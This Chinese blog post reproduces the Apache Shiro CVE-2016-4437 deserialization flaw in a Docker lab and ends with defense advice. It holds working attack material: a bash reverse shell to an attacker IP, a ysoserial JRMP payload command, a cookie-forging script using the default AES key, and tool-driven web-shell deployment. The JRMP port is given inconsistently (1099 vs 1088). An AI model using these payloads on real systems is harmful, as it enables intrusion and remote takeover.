首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >《从 AES 密钥硬编码到 shell 反弹:Shiro CVE-2016-4437 漏洞全链路复现》

《从 AES 密钥硬编码到 shell 反弹:Shiro CVE-2016-4437 漏洞全链路复现》

作者头像
XPcode7
发布2025-10-23 15:02:57
发布2025-10-23 15:02:57
1300
代码可运行
举报
运行总次数:0
代码可运行

《从 AES 密钥硬编码到 shell 反弹:Shiro CVE-2016-4437 漏洞全链路复现》


🔷博主介绍

致力于网络安全(漏洞挖掘、攻防实战)、Linux 内核系统(底层原理与性能调优)、区块链技术(Web3 安全与智能合约审计)、Python 语言应用(自动化攻防工具开发)、软件开发(全栈安全开发)等新一代信息技术领域的技术研究与干货分享,坚持以极简篇幅承载硬核知识的创作理念,为技术爱好者提供高效、深度、可落地的阅读体验。CSDN认证网络安全领域优质创作者、网络安全博客专家认证、阿里云专家博主

🌐各大技术专栏推荐

专栏名称

专栏介绍

网络安全攻防之道

为网络安全从业者、白帽黑客与技术爱好者打造的攻防知识阵地。深度剖析漏洞利用与防御的技术细节,实战演练渗透测试全流程,输出可落地的攻防策略,陪你在攻防对抗中持续进阶。

Linux 系统运维:从底层原理到企业级实战

这里是 Linux 系统运维的实战修炼场:从系统初始化到高可用架构,从命令行魔术到自动化运维利器,深度拆解 CentOS/Ubuntu 在企业级业务、云原生环境中的运维密码。带你穿透系统底层逻辑,掌握性能调优、故障秒级定位、自动化脚本开发的硬核技能,进阶成为能扛住业务压力的 Linux 运维专家

【VulnHub 靶场攻防】从漏洞复现到实战渗透

不管你是刚入门的渗透新人,还是想强化实战能力的安全工程师,都能在这儿找到匹配的靶场练手项目。我们聚焦可复现的漏洞利用技巧,结合 Nmap、Metasploit、BurpSuite 等工具实战演示,帮你把靶场经验转化为真实渗透能力,一步步成长为能在实战中 “打怪升级” 的渗透高手

博主年度总结与收获

这里是旺仔 Sec 的创作成长日记!作为 CSDN 认证的网络安全优质创作者,我把每一年的技术深耕、创作思考、成长突破都浓缩在这儿 —— 从漏洞分析的技术沉淀,到内容创作的经验复盘,再到从工程师到博主的身份进阶,每一篇总结都是 “技术探索 + 创作感悟” 的双料干货

在这里插入图片描述
在这里插入图片描述

0X01 什么是shiro?

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。 Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

0X02 shiro反序列化漏洞原理

在 Apache shiro 的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在 cookie 字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到 RememberMe Cookie 字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的 cookie 值进行身份验证,无需登录即可访问。那么显然,服务端进行对 cookie 进行验证的步骤就是:取出请求包中 rememberMe 的cookie值 => Base64解码=>AES解密(用到密钥 key )=>反序列化。

0X03 靶场环境搭建

这里我直接用docker拉取vulapps靶场镜像

代码语言:javascript
代码运行次数:0
运行
复制
docker pull medicean/vulapps:s_shiro_1
代码语言:javascript
代码运行次数:0
运行
复制
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

0X04 漏洞复现过程

通过web访问kali的IP地址,点击log in跳转到登录页面

当登录页面有 remember Me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞,那怎么判断这个页面是否或者说很大概率存在shiro 反序列化漏洞呢?我们可以通过抓取数据包捕获数据包内容来分析

查看登录的数据包,发现请求包中存在着remember me字段,返回包中有

Set-Cookie:rememberMe=deleteMe字段

已经确认存在<font style="color:rgb(77, 77, 77);">判断其为 shiro漏洞,那么我们这里有两种渗透手法,一种手动复现,另一种可以使用工具一键拿到shell。</font>

01手动复现

攻击机kali地址为:192.168.247.134

开启nc监听以便后续反弹shell回来

代码语言:javascript
代码运行次数:0
运行
复制
nc -lvvp 8888
攻击机搭建一个VPS服务用来存放反弹shell的payload

生成反弹shell命令

代码语言:javascript
代码运行次数:0
运行
复制
bash -i >& /dev/tcp/192.168.247.134/8888 <&1

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测,这里的命令需要使用Java Runtime配置bash编码。

编码工具网址:https://ares-x.com/tools/runtime-exec

编码完成

代码语言:javascript
代码运行次数:0
运行
复制
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ny4xMzQvODg4OCA8JjEK}|{base64,-d}|{bash,-i}

接下来我们利用序列化工具ysoserial.jar生成payload

<font style="color:rgba(0, 0, 0, 0.9);background-color:rgba(0, 0, 0, 0.03);">ysoserial.jar</font> 是 Java 安全研究里非常经典的一款 反序列化利用工具。 一句话概括:

它能把用户输入的“命令”封装成一段 经过特殊构造的 Java 序列化字节流,当目标应用对这段字节流进行 反序列化 时,就会触发内部可执行代码,从而实现 RCE(远程命令执行)

ysoserial.jar下载:https://download.csdn.net/download/qq_50377269/91946844?spm=1001.2014.3001.5503

最终Payload:

代码语言:javascript
代码运行次数:0
运行
复制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ny4xMzQvODg4OCA8JjEK}|{base64,-d}|{bash,-i}"

命令解释:在本机 1099 端口启动一个 JRMP 监听器,当目标服务器反序列化 JRMPClient 类型的 payload 并连接到你时,自动下发 CommonsCollections4 利用链,最终让目标执行一段 base64 包裹的 bash 反弹 shell,把 shell 弹回你的 8888 端口

段落

作用

<font style="color:rgba(0, 0, 0, 0.9);">java -cp ysoserial.jar</font>

把 ysoserial 加入类路径

<font style="color:rgba(0, 0, 0, 0.9);">ysoserial.exploit.JRMPListener</font>

使用 ysoserial 的 JRMP 服务端模块

<font style="color:rgba(0, 0, 0, 0.9);">1099</font>

本地监听端口(目标将连到这里)

<font style="color:rgba(0, 0, 0, 0.9);">CommonsCollections4</font>

利用链,要求目标 classpath 里有 commons-collections4

引号内字符串

要执行的系统命令,被拆成三段避免特殊字符干扰

总结概论:在本机 1099 端口搭“反序列化陷阱”,目标一旦反连,就触发 CommonsCollections4 执行 bash 反弹 shell,把权限送回你的 8888 端口

生成AES加密=>Base64编码后的rememberMe字段

让存在漏洞的页面去请求我们攻击机的VPS服务暨对攻击机kali 192.168.247.134:1088进行请求,因此,我们要用脚本对192.168.247.134:1088进行AES加密=>Base64编码,我们可以生成一个加密脚本,shiro.py代码如下。注意!这是一段Python2才能运行的!!

代码语言:javascript
代码运行次数:0
运行
复制
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
    print "rememberMe={0}".format(payload.decode())

代码中key =base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥。脚本运行的命令如下(注意更改为攻击机ip:JRMP监听的端口号)

输出结果如下

代码语言:javascript
代码运行次数:0
运行
复制
rememberMe=QYvM0wOFQBWRfKvs5VbTM4T2dZfeZU3fsWFlcTP1LVMAYxbex9aH8IHKNnfUdARVvzH6WGB/uoNz59lvhSWb/UIMkt+kdwJLAO5nyhn110jqBWv+w4Yr6DcQ9Jrf2LiH+TTWWSLb94dKrk3seaeTU8BXRPxdTFHqN299cHpCpT4+N2tcX1D8hT2IDY5ITBFSTY+e18A7LU6ypoZyxtJBAwvSPGZTHktUXqtmP6GvsyybV+pql3IvMdaTSBLxRBhPLgUkRqSJCWu3pmdYbJOkGq9/6iOEDox31It7JR0N6CPEy/LWhRtggRxR6tgnjT/BbFQ9K4XXMv3fNyvHqSbf3I5aHrG/areKlpW+1UPWU6ZsiLoMRl/9q/GUPQSX5/56SlYOoWC1MdzMw8aHbWS72A==
反弹shell

burpsuite开启监听,将以上生成的payload添加到请求包Cookie字段的最后,重发,即可成功反弹shell。

发到重发器里面然后在cookie字段后加上我们刚刚生成的那一串字符

添加后截图如下:

利用成功,返回kali中查看shell是否反弹回来

可以看到刚才JRMP监听的端口,可以看到这个服务与靶机进行了连接通信

shell也成功反弹回来了

漏洞复现成功

02工具一键自动化复现

这里使用shiro反序列化漏洞综合利用工具,工具获取可以关注one-fox公众号获取

那么让我们开始吧

可以看到检测日志模块,出现了“存在shiro框架”,并成功爆出了密钥kPH+bIxk5D2deZiIxcaaaA==,继续点击“检测当前利用链”、“爆破利用链及回显”,就可以看到检测日志模块,出现了“发现构造链:xxxx 回显方式:xxx”,并提示我们请尝试功能区利用:

接下来点击“命令执行”,输入想执行的命令,就可以直接执行命令了。这里输入了whoami,回显为root,又输入了ls -al 成功看到了所有的文件及其权限等等。

也可以写一个内存马进行上传

用哥斯拉去连接

测试连接成功

漏洞复现成功,使用工具还是很方便的,直接一键自动化。

0X05漏洞防御建议

如何进行防御?

1. 升级Shiro版本
  • 措施:确保使用Shiro的最新版本(如1.2.18或更高,或2.2.1或更高),这些版本修复了相关漏洞。
  • 实施步骤:检查项目依赖,升级Shiro库,并进行兼容性测试以确保功能不受影响。
2. 自定义反序列化机制
  • 措施:限制反序列化的类,只允许信任的类被反序列化。
  • 实施步骤:编写自定义反序列化处理器,检查反序列化的类是否在白名单中,避免使用默认的反序列化机制。
3. 过滤敏感信息
  • 措施:避免将敏感信息(如加密密钥)序列化到cookie中。
  • 实施步骤:检查代码,确保敏感数据不被序列化,或使用更安全的加密方法。
4. 限制用户输入
  • 措施:对用户输入进行严格验证和过滤。
  • 实施步骤:使用正则表达式或其他验证机制,防止恶意数据进入反序列化过程。
5. 使用安全的序列化方式
  • 措施:采用JSON等不支持对象反序列化的格式。
  • 实施步骤:替换现有的Java序列化逻辑为JSON,确保不影响现有功能。
6. 监控和日志
  • 措施:记录反序列化过程,设置异常行为警报。
  • 实施步骤:集成日志框架,记录反序列化活动,配置监控工具以及时发现异常。
7. 定期代码审查
  • 措施:定期检查代码,特别是处理反序列化的部分。
  • 实施步骤:使用静态代码分析工具或手动审查关键部分,确保没有遗漏漏洞。 通过综合实施以上措施,可以有效防御Shiro反序列化漏洞,保障系统的安全性。每一步都需要仔细规划和测试,确保措施的有效性和系统的稳定性。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-10-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 《从 AES 密钥硬编码到 shell 反弹:Shiro CVE-2016-4437 漏洞全链路复现》
    • 0X01 什么是shiro?
    • 0X02 shiro反序列化漏洞原理
    • 0X03 靶场环境搭建
    • 0X04 漏洞复现过程
      • 01手动复现
      • 02工具一键自动化复现
    • 0X05漏洞防御建议
      • 1. 升级Shiro版本
      • 2. 自定义反序列化机制
      • 3. 过滤敏感信息
      • 4. 限制用户输入
      • 5. 使用安全的序列化方式
      • 6. 监控和日志
      • 7. 定期代码审查
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档